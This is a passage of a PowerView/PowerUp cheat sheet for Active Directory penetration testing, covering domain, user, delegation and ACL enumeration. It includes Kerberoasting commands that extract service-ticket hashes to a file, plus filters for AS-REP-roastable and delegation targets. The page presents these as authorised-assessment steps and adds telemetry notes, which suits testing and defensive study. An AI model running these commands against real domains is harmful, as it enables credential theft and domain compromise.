daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

powerview-powerup.md (75997B)


      1 ---
      2 title: "PowerView and PowerUp Deep-Dive"
      3 description: "Comprehensive PowerView domain-enumeration and PowerUp local Windows privilege-escalation reference, with read-only triage, validation, cleanup, and function indexes."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, powerview, powerup, powershell, enumeration, privilege-escalation]
      7 tools: [PowerView, PowerUp, PowerShell]
      8 difficulty: advanced
      9 updated: "2026-09-19"
     10 source: "vault:ActiveDirectory/PowerView-PowerUp-Cheatsheet.md"
     11 ---
     12 # PowerView + PowerUp — Deep-Dive Cheat Sheet
     13 
     14 > [!info] Two tools, two scopes
     15 > **PowerView** inventories and, where authorised, modifies **Active Directory** through LDAP, .NET, WMI, and Windows APIs. **PowerUp** audits and validates **local Windows privilege-escalation misconfigurations**. A useful mental model is: PowerView answers *“what can this identity reach or control in the domain?”*; PowerUp answers *“what can this identity control on this host?”*
     16 
     17 > [!warning] Authorised use only
     18 > Several commands below alter users, groups, ACLs, services, files, or registry state. Use them only in a lab or an explicitly authorised assessment. Snapshot the original state, make one change at a time, verify it, and run the paired cleanup. Discovery commands can also generate LDAP, SMB, WMI, service-control, and security-event telemetry.
     19 
     20 > [!note] Version pin
     21 > Commands were checked against the copies bundled with this vault: [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256)) and [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256)). These are the PowerSploit-style scripts, not Microsoft Graph PowerShell, Azure PowerShell, PowerView.py, SharpView, or PowerUpSQL.
     22 > - `PowerView.ps1` SHA-256: `507e8666c239397561c58609f7ea569c9c49ddbb900cd260e7e42b02d03cfd87`
     23 > - `PowerUp.ps1` SHA-256: `9d59d4c128570eb80c0e8d13e2185030f93d965278b203c91dd196b2e1d3cd22`
     24 
     25 ---
     26 
     27 ## Table of Contents
     28 
     29 1. [Fast Start](#1-fast-start)
     30 2. [Command Model and Common Parameters](#2-command-model-and-common-parameters)
     31 3. [PowerView — Domain and Forest Topology](#3-powerview--domain-and-forest-topology)
     32 4. [PowerView — Users, Computers, and Groups](#4-powerview--users-computers-and-groups)
     33 5. [PowerView — Kerberos and Delegation](#5-powerview--kerberos-and-delegation)
     34 6. [PowerView — ACL Analysis](#6-powerview--acl-analysis)
     35    - [Fine-tune an ACL review](#66-fine-tune-an-acl-review)
     36    - [Microsoft AD module: deleted objects and recovery](#67-microsoft-ad-module-deleted-objects-and-recovery)
     37 7. [PowerView — GPOs, OUs, Sites, and Policy](#7-powerview--gpos-ous-sites-and-policy)
     38 8. [PowerView — Sessions, Shares, Processes, and Local Admin](#8-powerview--sessions-shares-processes-and-local-admin)
     39 9. [PowerView — Alternate Credentials and Impersonation](#9-powerview--alternate-credentials-and-impersonation)
     40 10. [PowerView — Authorised Object Changes and Cleanup](#10-powerview--authorised-object-changes-and-cleanup)
     41 11. [PowerView — Output, Filtering, and Export](#11-powerview--output-filtering-and-export)
     42 12. [PowerUp — Audit and Triage](#12-powerup--audit-and-triage)
     43 13. [PowerUp — Service Misconfigurations](#13-powerup--service-misconfigurations)
     44 14. [PowerUp — DLL, PATH, Autorun, and Task Findings](#14-powerup--dll-path-autorun-and-task-findings)
     45 15. [PowerUp — Credential and Installer Findings](#15-powerup--credential-and-installer-findings)
     46 16. [PowerUp — Validation, Abuse Helpers, and Restoration](#16-powerup--validation-abuse-helpers-and-restoration)
     47 17. [Worked Workflows](#17-worked-workflows)
     48 18. [Troubleshooting](#18-troubleshooting)
     49 19. [Function and Alias Index](#19-function-and-alias-index)
     50 20. [One-Screen Quick Reference](#20-one-screen-quick-reference)
     51 
     52 ---
     53 
     54 ## 1. Fast Start
     55 
     56 ### 1.1 Load the bundled scripts
     57 
     58 Copy the scripts to an authorised Windows test host and load them into the **current** PowerShell process:
     59 
     60 ```powershell
     61 # Dot-source: functions remain available in the current scope
     62 . .\PowerView.ps1
     63 . .\PowerUp.ps1
     64 
     65 # Confirm the expected functions loaded
     66 Get-Command Get-DomainUser, Get-DomainComputer, Invoke-Kerberoast
     67 Get-Command Invoke-PrivescAudit, Get-ModifiableService, Get-UnquotedService
     68 ```
     69 
     70 `Import-Module .\PowerView.ps1` and `Import-Module .\PowerUp.ps1` can also work, but dot-sourcing is predictable for standalone `.ps1` files.
     71 
     72 > [!tip] Preserve the evidence trail
     73 > Before running a large query, start a transcript and create a dedicated output directory:
     74 > ```powershell
     75 > New-Item -ItemType Directory -Force C:\Temp\assessment | Out-Null
     76 > Start-Transcript -Path C:\Temp\assessment\powershell-transcript.txt
     77 > ```
     78 
     79 ### 1.2 Define reusable assessment values
     80 
     81 ```powershell
     82 $Domain = 'corp.local'
     83 $DC     = 'dc01.corp.local'
     84 $Target = 'alice'
     85 $Host1  = 'ws01.corp.local'
     86 $Out    = 'C:\Temp\assessment'
     87 ```
     88 
     89 ### 1.3 First five commands
     90 
     91 ```powershell
     92 # Current domain and DCs
     93 Get-Domain
     94 Get-DomainController | Select-Object Name,IPAddress,SiteName,OperatingSystem
     95 
     96 # High-value domain principals
     97 Get-DomainUser -AdminCount | Select-Object samaccountname,description,memberof
     98 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
     99 
    100 # Local escalation audit
    101 Invoke-PrivescAudit -Format List
    102 ```
    103 
    104 ### 1.4 Read-only-first workflow
    105 
    106 ```text
    107 1. Establish identity and host context
    108 2. Enumerate narrowly with explicit properties
    109 3. Validate candidate access or misconfiguration
    110 4. Record the original state
    111 5. Make the smallest authorised change
    112 6. Verify impact
    113 7. Restore and verify the original state
    114 ```
    115 
    116 ---
    117 
    118 ## 2. Command Model and Common Parameters
    119 
    120 ### 2.1 PowerView query pattern
    121 
    122 Most domain functions follow the same shape:
    123 
    124 ```powershell
    125 Get-Domain<Object> `
    126   -Identity <name|DN|SID|GUID> `
    127   -Domain corp.local `
    128   -Server dc01.corp.local `
    129   -LDAPFilter '<ldap-filter>' `
    130   -SearchBase 'LDAP://OU=Servers,DC=corp,DC=local' `
    131   -Properties samaccountname,distinguishedname `
    132   -Credential $Cred
    133 ```
    134 
    135 | Parameter | Use |
    136 |---|---|
    137 | `-Identity` | Find a named object by sAMAccountName, name, DN, SID, or GUID, depending on function |
    138 | `-Domain` | Query another domain; use its DNS name |
    139 | `-Server` | Pin queries to a DC/GC; useful for consistency and troubleshooting |
    140 | `-LDAPFilter` | Add a raw LDAP filter without post-filtering every result locally |
    141 | `-SearchBase` | Restrict scope to an OU, container, or LDAP path |
    142 | `-SearchScope` | `Base`, `OneLevel`, or `Subtree` |
    143 | `-Properties` | Request only useful attributes; reduces output and LDAP volume |
    144 | `-ResultPageSize` | LDAP page size; bundled default is normally `200` |
    145 | `-ServerTimeLimit` | Bound server-side query time |
    146 | `-Tombstone` | Include deleted/tombstoned objects where supported |
    147 | `-Credential` | Use a `PSCredential`; this is not pass-the-hash |
    148 
    149 ### 2.2 Prefer server-side filters
    150 
    151 ```powershell
    152 # Better: DC returns only matching objects
    153 Get-DomainUser -LDAPFilter '(description=*admin*)' -Properties samaccountname,description
    154 
    155 # Noisier: retrieve all users, then filter locally
    156 Get-DomainUser | Where-Object description -Like '*admin*'
    157 ```
    158 
    159 ### 2.3 Useful LDAP syntax
    160 
    161 | Meaning | Filter |
    162 |---|---|
    163 | Users | `(&(objectCategory=person)(objectClass=user))` |
    164 | Computers | `(samAccountType=805306369)` |
    165 | Groups | `(objectCategory=group)` |
    166 | Attribute exists | `(servicePrincipalName=*)` |
    167 | Exact value | `(samAccountName=alice)` |
    168 | Wildcard | `(description=*password*)` |
    169 | AND | `(&(objectClass=user)(adminCount=1))` |
    170 | OR | `(|(samAccountName=alice)(samAccountName=bob))` |
    171 | NOT | `(!(userAccountControl:1.2.840.113556.1.4.803:=2))` |
    172 | Bit set | `(userAccountControl:1.2.840.113556.1.4.803:=4194304)` |
    173 | Recursive memberOf | `(memberOf:1.2.840.113556.1.4.1941:=<group-DN>)` |
    174 
    175 ### 2.4 Identity and name conversion
    176 
    177 ```powershell
    178 Resolve-IPAddress dc01.corp.local
    179 ConvertTo-SID 'CORP\alice'
    180 ConvertFrom-SID 'S-1-5-21-111111111-222222222-333333333-1105'
    181 Convert-ADName 'CORP\alice' -OutputType Canonical
    182 ConvertFrom-UACValue 4260352
    183 Get-DomainSID -Domain corp.local
    184 ```
    185 
    186 ---
    187 
    188 ## 3. PowerView — Domain and Forest Topology
    189 
    190 ### 3.1 Domain and controllers
    191 
    192 ```powershell
    193 Get-Domain
    194 Get-Domain -Domain child.corp.local
    195 
    196 Get-DomainController
    197 Get-DomainController -Domain corp.local
    198 Get-DomainController -Domain corp.local -Server dc01.corp.local
    199 Get-DomainController | Format-Table Name,IPAddress,SiteName,OperatingSystem -AutoSize
    200 ```
    201 
    202 ### 3.2 Forest, domains, global catalogs, and schema
    203 
    204 ```powershell
    205 Get-Forest
    206 Get-Forest -Forest corp.local
    207 Get-ForestDomain
    208 Get-ForestGlobalCatalog
    209 Get-ForestSchemaClass -ClassName user
    210 ```
    211 
    212 ### 3.3 Trusts and foreign principals
    213 
    214 ```powershell
    215 # Current domain's trusts
    216 Get-DomainTrust
    217 
    218 # Query a specific domain or use alternative enumeration methods
    219 Get-DomainTrust -Domain corp.local
    220 Get-DomainTrust -Domain corp.local -API
    221 Get-DomainTrust -Domain corp.local -NET
    222 
    223 # Forest trusts and recursively mapped trust graph
    224 Get-ForestTrust
    225 Get-DomainTrustMapping
    226 
    227 # Cross-domain membership indicators
    228 Get-DomainForeignUser
    229 Get-DomainForeignGroupMember
    230 ```
    231 
    232 Interpret the direction from the queried domain's perspective and verify it before planning access:
    233 
    234 | Property | Meaning |
    235 |---|---|
    236 | `SourceName` / queried domain | Domain whose trust object is being read |
    237 | `TargetName` | Other side of the trust |
    238 | `TrustDirection` | Inbound, outbound, or bidirectional |
    239 | `TrustType` | Parent-child, external, forest, MIT, etc. |
    240 | `TrustAttributes` | Transitivity, SID filtering, within-forest flags, and related controls |
    241 
    242 ### 3.4 Sites, subnets, and DNS
    243 
    244 ```powershell
    245 Get-DomainSite | Select-Object name,distinguishedname
    246 Get-DomainSubnet | Select-Object name,siteobject
    247 Get-NetComputerSiteName -ComputerName ws01.corp.local
    248 
    249 Get-DomainDNSZone
    250 Get-DomainDNSRecord -ZoneName corp.local
    251 Get-DomainDNSRecord -ZoneName corp.local | Where-Object name -Like 'dc01*'
    252 ```
    253 
    254 ---
    255 
    256 ## 4. PowerView — Users, Computers, and Groups
    257 
    258 ### 4.1 Users
    259 
    260 ```powershell
    261 # One user, selected properties
    262 Get-DomainUser -Identity alice -Properties samaccountname,displayname,description,memberof,pwdlastset,lastlogon
    263 
    264 # Several identities
    265 'alice','bob','svc_sql' | Get-DomainUser -Properties samaccountname,useraccountcontrol
    266 
    267 # Privileged/protected accounts
    268 Get-DomainUser -AdminCount -Properties samaccountname,admincount,memberof
    269 
    270 # Enabled users with descriptions
    271 Get-DomainUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(description=*))' `
    272   -Properties samaccountname,description
    273 
    274 # Password and logon hygiene
    275 Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD
    276 Get-DomainUser -UACFilter PASSWD_NOTREQD
    277 Get-DomainUser -UACFilter SMARTCARD_REQUIRED
    278 Get-DomainUser -PreauthNotRequired
    279 
    280 # Users with SPNs
    281 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon
    282 
    283 # Recently changed account attributes
    284 Get-DomainObjectAttributeHistory -Identity alice
    285 Get-DomainObjectLinkedAttributeHistory -Identity 'Domain Admins'
    286 ```
    287 
    288 > [!note] Date properties
    289 > PowerView converts several LDAP timestamps for display, but not every property is guaranteed to be a native `DateTime`. Inspect the type before comparing: `$x.pwdlastset.GetType().FullName`.
    290 
    291 ### 4.2 Computers
    292 
    293 ```powershell
    294 # Inventory
    295 Get-DomainComputer -Properties dnshostname,operatingsystem,operatingsystemversion,lastlogondate
    296 
    297 # Specific host or OS family
    298 Get-DomainComputer -Identity ws01
    299 Get-DomainComputer -OperatingSystem '*Server*'
    300 Get-DomainComputer -OperatingSystem '*Windows 10*'
    301 
    302 # Servers offering a specific SPN
    303 Get-DomainComputer -SPN 'MSSQLSvc*' -Properties dnshostname,serviceprincipalname
    304 
    305 # Delegation-related computer flags
    306 Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
    307 Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto
    308 
    309 # Print-spooler service check supported by this PowerView build
    310 Get-DomainComputer -Printers -Properties dnshostname
    311 
    312 # Stale computers: retrieve then compare locally
    313 $Cutoff = (Get-Date).AddDays(-90)
    314 Get-DomainComputer -Properties dnshostname,lastlogondate,pwdlastset |
    315   Where-Object { $_.lastlogondate -and $_.lastlogondate -lt $Cutoff }
    316 ```
    317 
    318 ### 4.3 Groups and membership
    319 
    320 ```powershell
    321 Get-DomainGroup
    322 Get-DomainGroup -Identity 'Domain Admins'
    323 Get-DomainGroup -AdminCount
    324 
    325 # Direct and recursive membership
    326 Get-DomainGroupMember -Identity 'Domain Admins'
    327 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
    328 
    329 # Resolve a user's group memberships from the user side
    330 Get-DomainGroup -MemberIdentity alice
    331 
    332 # Managed security groups and removed members
    333 Get-DomainManagedSecurityGroup
    334 Get-DomainGroupMemberDeleted -Identity 'Domain Admins'
    335 ```
    336 
    337 ### 4.4 Generic object search
    338 
    339 Use `Get-DomainObject` when a specialised function does not expose the object or property you need:
    340 
    341 ```powershell
    342 Get-DomainObject -Identity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local'
    343 Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
    344   -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity
    345 Get-DomainObject -SearchBase 'LDAP://CN=Configuration,DC=corp,DC=local' `
    346   -LDAPFilter '(objectClass=pKIEnrollmentService)'
    347 ```
    348 
    349 ### 4.5 High-value hunting filters
    350 
    351 ```powershell
    352 # AS-REP roastable: DONT_REQ_PREAUTH (4194304)
    353 Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' `
    354   -Properties samaccountname,pwdlastset
    355 
    356 # Unconstrained delegation: TRUSTED_FOR_DELEGATION (524288), excluding DC computer accounts if desired
    357 Get-DomainComputer -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
    358   -Properties dnshostname,useraccountcontrol
    359 
    360 # Resource-based constrained delegation configured
    361 Get-DomainComputer -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
    362   -Properties dnshostname,msds-allowedtoactonbehalfofotheridentity
    363 
    364 # Descriptions that may contain operational notes
    365 Get-DomainObject -LDAPFilter '(|(description=*pass*)(info=*pass*))' `
    366   -Properties samaccountname,description,info
    367 
    368 # Accounts protected by AdminSDHolder
    369 Get-DomainObject -LDAPFilter '(adminCount=1)' -Properties samaccountname,objectclass,memberof
    370 ```
    371 
    372 ---
    373 
    374 ## 5. PowerView — Kerberos and Delegation
    375 
    376 ### 5.1 Kerberoast candidates
    377 
    378 ```powershell
    379 # Enumerate first
    380 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon
    381 
    382 # Exclude krbtgt and disabled users in a server-side filter
    383 Get-DomainUser -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
    384   -Properties samaccountname,serviceprincipalname,pwdlastset
    385 ```
    386 
    387 ### 5.2 Request service tickets in an authorised password audit
    388 
    389 ```powershell
    390 # One account
    391 Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -OutputFormat Hashcat
    392 
    393 # Narrow set; write hashes directly
    394 Get-DomainUser -Identity svc_sql,svc_web |
    395   Get-DomainSPNTicket -OutputFormat Hashcat |
    396   Select-Object -ExpandProperty Hash |
    397   Set-Content C:\Temp\assessment\kerberoast.hashes
    398 
    399 # Bundled helper over all matching domain users
    400 Invoke-Kerberoast -OutputFormat Hashcat
    401 ```
    402 
    403 | Output format | Typical consumer |
    404 |---|---|
    405 | `Hashcat` | Hashcat mode chosen from the returned etype/hash prefix |
    406 | `John` | John the Ripper |
    407 
    408 > [!warning] Telemetry
    409 > Every requested service ticket can produce DC-side Kerberos service-ticket activity (commonly Event ID 4769). A PowerShell implementation is not inherently “stealthy.” Query a justified, narrow target set and record the test window.
    410 
    411 ### 5.3 Delegation discovery
    412 
    413 ```powershell
    414 # Unconstrained delegation
    415 Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol
    416 Get-DomainUser -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' `
    417   -Properties samaccountname,useraccountcontrol
    418 
    419 # Protocol transition / constrained delegation
    420 Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto
    421 Get-DomainComputer -TrustedToAuth -Properties dnshostname,msds-allowedtodelegateto
    422 
    423 # Any classic constrained-delegation target list
    424 Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' `
    425   -Properties samaccountname,objectclass,msds-allowedtodelegateto
    426 
    427 # RBCD attribute is set on the resource
    428 Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' `
    429   -Properties samaccountname,msds-allowedtoactonbehalfofotheridentity
    430 ```
    431 
    432 PowerView identifies the configuration. Use [BloodHound cheat sheet](/sheets/active-directory/bloodhound/) to model reachability and the dedicated delegation notes for a controlled end-to-end validation.
    433 
    434 ---
    435 
    436 ## 6. PowerView — ACL Analysis
    437 
    438 ### 6.1 Read and resolve an object's DACL
    439 
    440 ```powershell
    441 # Resolve schema GUIDs to readable rights (slower than raw output)
    442 Get-DomainObjectAcl -Identity alice -ResolveGUIDs
    443 
    444 # Group DACL
    445 Get-DomainObjectAcl -Identity 'Help Desk' -ResolveGUIDs
    446 
    447 # Domain root DACL
    448 $DomainDN = (Get-Domain).distinguishedname
    449 Get-DomainObjectAcl -Identity $DomainDN -ResolveGUIDs
    450 
    451 # Only password-reset or group-member rights
    452 Get-DomainObjectAcl -Identity alice -ResolveGUIDs -RightsFilter ResetPassword
    453 Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs -RightsFilter WriteMembers
    454 ```
    455 
    456 ### 6.2 Resolve who an ACE belongs to
    457 
    458 ```powershell
    459 $TargetAcl = Get-DomainObjectAcl -Identity alice -ResolveGUIDs
    460 $TargetAcl | ForEach-Object {
    461     [pscustomobject]@{
    462         Principal = ConvertFrom-SID $_.SecurityIdentifier
    463         Rights    = $_.ActiveDirectoryRights
    464         ObjectAce = $_.ObjectAceType
    465         Inherited = $_.IsInherited
    466         Type      = $_.AceType
    467     }
    468 } | Format-Table -AutoSize
    469 ```
    470 
    471 ### 6.3 Find interesting domain ACLs
    472 
    473 ```powershell
    474 # Broad discovery
    475 Find-InterestingDomainAcl -ResolveGUIDs
    476 
    477 # Focus on ACEs held by a principal SID
    478 $MySid = ConvertTo-SID 'CORP\analyst'
    479 Find-InterestingDomainAcl -ResolveGUIDs |
    480   Where-Object { $_.SecurityIdentifier -eq $MySid }
    481 
    482 # Investigate a particular object class or OU with SearchBase
    483 Find-InterestingDomainAcl -ResolveGUIDs `
    484   -SearchBase 'LDAP://OU=Tier 0,DC=corp,DC=local'
    485 
    486 # GPO-specific delegation
    487 Get-GPODelegation
    488 ```
    489 
    490 ### 6.4 Rights interpretation
    491 
    492 | Right / edge | What it can imply | Safer validation |
    493 |---|---|---|
    494 | `GenericAll` | Broad object control | Confirm ACE scope, inheritance, and target class |
    495 | `GenericWrite` | Write many non-protected properties | List the exact writable attribute before changing it |
    496 | `WriteDacl` | Add/remove ACEs | Export the current DACL and use a reversible test ACE |
    497 | `WriteOwner` | Take ownership, then potentially edit DACL | Record original owner; restore after test |
    498 | `ExtendedRight` / `User-Force-Change-Password` | Reset target password | Use a disposable lab identity if possible |
    499 | `WriteProperty` on group `member` | Change group membership | Add a test principal, verify, immediately remove |
    500 | Replication extended rights | DCSync capability at domain root | Verify the two replication GUID ACEs; avoid pulling secrets unless required |
    501 
    502 > [!danger] An ACE is context-dependent
    503 > Check `AceType`, `IsInherited`, `InheritanceType`, `ObjectAceType`, `InheritedObjectAceType`, target class, deny ACEs, and token group membership. Seeing the text `GenericWrite` in one row is not by itself proof of an exploitable path.
    504 
    505 ### 6.5 Find anomalous attributes
    506 
    507 ```powershell
    508 Find-DomainObjectPropertyOutlier -ClassName User
    509 Find-DomainObjectPropertyOutlier -ClassName Group
    510 Find-DomainObjectPropertyOutlier -ClassName Computer
    511 ```
    512 
    513 ### 6.6 Fine-tune an ACL review
    514 
    515 An ACL is a list of access-control entries (ACEs). Each ACE describes a permission rule for a principal, such as a user or group. `Get-DomainObjectAcl` normally reads the discretionary ACL (DACL), which contains allow and deny rules. Its output contains individual ACEs: several output rows can describe the permissions on one directory object.
    516 
    517 The examples below use synthetic ACL rows in memory. They explain scope and filtering without connecting to a domain or changing permissions.
    518 
    519 #### Read the pipeline in plain English
    520 
    521 A pipeline containing `Get-DomainObjectAcl ... | ? { $_.SecurityIdentifier -like '*-1111' }` has two separate jobs: the function retrieves ACL entries, then PowerShell keeps entries whose trustee SID ends in `-1111`. The filter after the pipe acts on returned rows; it does not narrow the directory query itself. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-7.6)
    522 
    523 - `|` passes output objects to the next command.
    524 - `?` is shorthand for `Where-Object`.
    525 - `$_` is the current row being tested.
    526 - `SecurityIdentifier` is the trustee SID: the principal named in the permission rule.
    527 - `ObjectDN` identifies the directory object whose permissions are being described.
    528 - `ObjectSID`, when present, belongs to that directory object. It is a different field from the trustee SID; some directory objects have no SID.
    529 - `-like '*-1111'` is a wildcard suffix comparison. `-eq` compares an exact value, while `-match` uses a regular expression. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators?view=powershell-7.6)
    530 
    531 The final component of a domain SID is its relative identifier (RID). A suffix such as `1111` does not uniquely identify a principal across domains. For a permission review, use the complete SID from the account record supplied for that review. Filtering only a user's SID also omits ACEs assigned to their groups.
    532 
    533 #### Choose the location and depth separately
    534 
    535 A distinguished name (DN) identifies a directory object. For example, `CN=Example User,OU=Training,DC=example,DC=test` places an object named `Example User` inside the `Training` organisational unit in `example.test`. `CN` means common name, `OU` means organisational unit, and `DC` means domain component. Each component needs its `=`; `DCtest` is not a correctly formed `DC=test` component.
    536 
    537 `-SearchBase` specifies where a query starts. `-SearchScope` specifies how much of that location it includes. [Source](https://learn.microsoft.com/en-us/windows/win32/ad/search-scope)
    538 
    539 | Scope | Includes the starting object | Includes immediate children | Includes deeper descendants |
    540 |---|---|---|---|
    541 | `Base` | Yes | No | No |
    542 | `OneLevel` | No | Yes | No |
    543 | `Subtree` | Yes | Yes | Yes |
    544 
    545 These scopes count directory objects, not ACE rows. A `Base` search can still yield many ACL entries for its one object. [Source](https://learn.microsoft.com/en-us/windows/win32/ad/search-scope)
    546 
    547 For this fictional directory layout, a search base of `OU=Training,DC=example,DC=test` has the following reach:
    548 
    549 ```text
    550 OU=Training                      Base and Subtree
    551   CN=Example User                 OneLevel and Subtree
    552   OU=Archive                      OneLevel and Subtree
    553     CN=Archived User              Subtree only
    554 ```
    555 
    556 The Configuration naming context holds forest configuration rather than the ordinary domain user and computer inventory. Choose the naming context that contains the objects being reviewed; the default domain search is not a substitute for selecting Configuration explicitly. Do not assume a child domain's DN is the forest Configuration DN.
    557 
    558 #### Use full parameter names and inspect the loaded version
    559 
    560 In the bundled `Get-DomainObjectAcl`, both `-SearchBase` and `-SearchScope` exist, so `-Search` is ambiguous. Use the complete parameter names in notes. The following commands inspect local function metadata and help; they do not execute an LDAP query:
    561 
    562 ```powershell
    563 Get-Command Get-DomainObjectAcl -Syntax
    564 (Get-Command Get-DomainObjectAcl).Parameters.Keys | Sort-Object
    565 Get-Help Get-DomainObjectAcl -Full
    566 ```
    567 
    568 The bundled source defines these controls:
    569 
    570 | Control | What it selects or changes |
    571 |---|---|
    572 | `-Identity` | Which directory object's ACL to read; it does not select the trustee inside an ACE |
    573 | `-SearchBase` | Starting directory location |
    574 | `-SearchScope` | Depth below that location; the bundled default is `Subtree` |
    575 | `-LDAPFilter` | Directory objects matching LDAP attributes before their ACLs are processed |
    576 | `-Server` | Domain controller used for the query |
    577 | `-ResolveGUIDs` | Names for recognised schema/right GUIDs; it does not resolve trustee SIDs to account names |
    578 | `-ResultPageSize` | Objects requested per LDAP page; it is not a total-result limit |
    579 | `Where-Object` | Returned ACE rows that satisfy a local condition |
    580 | `Select-Object` | Output fields to retain, or rows to display with `-First` |
    581 
    582 `-LDAPFilter` takes LDAP expressions such as `(name=Example User)`. A PowerShell condition such as `{ $_.SecurityIdentifier -eq $PrincipalSid }` belongs in `Where-Object`. `SecurityIdentifier` is a field produced when PowerView parses an ACE, not a normal directory attribute that this LDAP filter can use to select trustees. [Source](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ff730967(v=technet.10)) [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object?view=powershell-7.6)
    583 
    584 The bundled ACL reader has no `-Properties` parameter. Select its output columns with `Select-Object`. Its `-RightsFilter` accepts only `All`, `ResetPassword`, and `WriteMembers`; these are implementation-specific GUID filters, not arbitrary permission names. Leave that option unset when reviewing the complete DACL. Check the loaded function before borrowing flags from another fork.
    585 
    586 #### Practise filtering without a domain connection
    587 
    588 This dataset is invented. The repeated `1200` suffix in two different domain SIDs demonstrates why an exact SID comparison matters. The allow and deny rows are separate rules, not a computed effective-access result.
    589 
    590 ```powershell
    591 $PrincipalSid = 'S-1-5-21-100-200-300-1200'
    592 
    593 $SampleAces = @(
    594     [pscustomobject]@{
    595         ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test'
    596         SecurityIdentifier = $PrincipalSid
    597         ActiveDirectoryRights = 'ReadProperty'
    598         AceType = 'AccessAllowed'
    599         IsInherited = $false
    600     }
    601     [pscustomobject]@{
    602         ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
    603         SecurityIdentifier = $PrincipalSid
    604         ActiveDirectoryRights = 'ReadProperty'
    605         AceType = 'AccessAllowed'
    606         IsInherited = $true
    607     }
    608     [pscustomobject]@{
    609         ObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
    610         SecurityIdentifier = $PrincipalSid
    611         ActiveDirectoryRights = 'ReadProperty'
    612         AceType = 'AccessDenied'
    613         IsInherited = $false
    614     }
    615     [pscustomobject]@{
    616         ObjectDN = 'CN=Example Group,OU=Training,DC=example,DC=test'
    617         SecurityIdentifier = 'S-1-5-21-400-500-600-1200'
    618         ActiveDirectoryRights = 'ListChildren'
    619         AceType = 'AccessAllowed'
    620         IsInherited = $false
    621     }
    622 )
    623 
    624 # A suffix comparison includes both fictional domains: four rows.
    625 $SampleAces |
    626     Where-Object { $_.SecurityIdentifier -like '*-1200' }
    627 
    628 # An exact comparison keeps one principal: three rows.
    629 $PrincipalAces = @(
    630     $SampleAces |
    631         Where-Object { [string]$_.SecurityIdentifier -eq $PrincipalSid }
    632 )
    633 $PrincipalAces.Count
    634 
    635 # Combine conditions to review that principal on one known object.
    636 $ReviewedObjectDN = 'CN=Example User,OU=Training,DC=example,DC=test'
    637 $PrincipalAces |
    638     Where-Object { $_.ObjectDN -eq $ReviewedObjectDN } |
    639     Format-List ObjectDN,SecurityIdentifier,ActiveDirectoryRights,AceType,IsInherited
    640 
    641 # Separate explicit entries for comparison; inherited entries still matter.
    642 $PrincipalAces |
    643     Where-Object { $_.IsInherited -eq $false } |
    644     Format-Table ObjectDN,AceType,IsInherited -Wrap
    645 ```
    646 
    647 Keep `$PrincipalAces` as structured objects so you can inspect the same dataset repeatedly. Put `Format-Table` or `Format-List` at the end of a display pipeline; assigning formatted output back to the variable loses the original row structure. `Format-List` is useful when a long DN is cut off in a narrow terminal.
    648 
    649 #### Interpret empty results and permission rows carefully
    650 
    651 An empty filtered result means no returned row matched that condition. It does not prove the principal has no access. Review the unfiltered data already collected, the chosen naming context, the full trustee SID, and any collection errors. Missing permission data and an empty DACL are different findings.
    652 
    653 - `IsInherited = False` identifies an explicit ACE. It does not mean the entry is suspicious; inherited ACEs can also grant or deny access.
    654 - Inspect allow and deny entries together. Removing deny rows for display does not remove their effect.
    655 - Effective access depends on group memberships, ACE scope, inheritance, object-specific restrictions, and the access check. A matching user SID alone is incomplete.
    656 - In this bundled implementation, object-specific GUID fields come from raw ACEs and can appear as `ObjectAceType` and `InheritedObjectAceType`. Other wrappers can expose different names. Inspect an existing row with `Get-Member` and `Format-List *` before selecting fields.
    657 - CSV imports contain text values. For a CSV export of these Boolean fields, compare `IsInherited` with `'False'` or `'True'`; `[bool]'False'` is true because it is a non-empty string. The synthetic dataset above uses actual Boolean values. [Source](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-csv?view=powershell-7.6)
    658 
    659 ### 6.7 Microsoft AD module: deleted objects and recovery
    660 
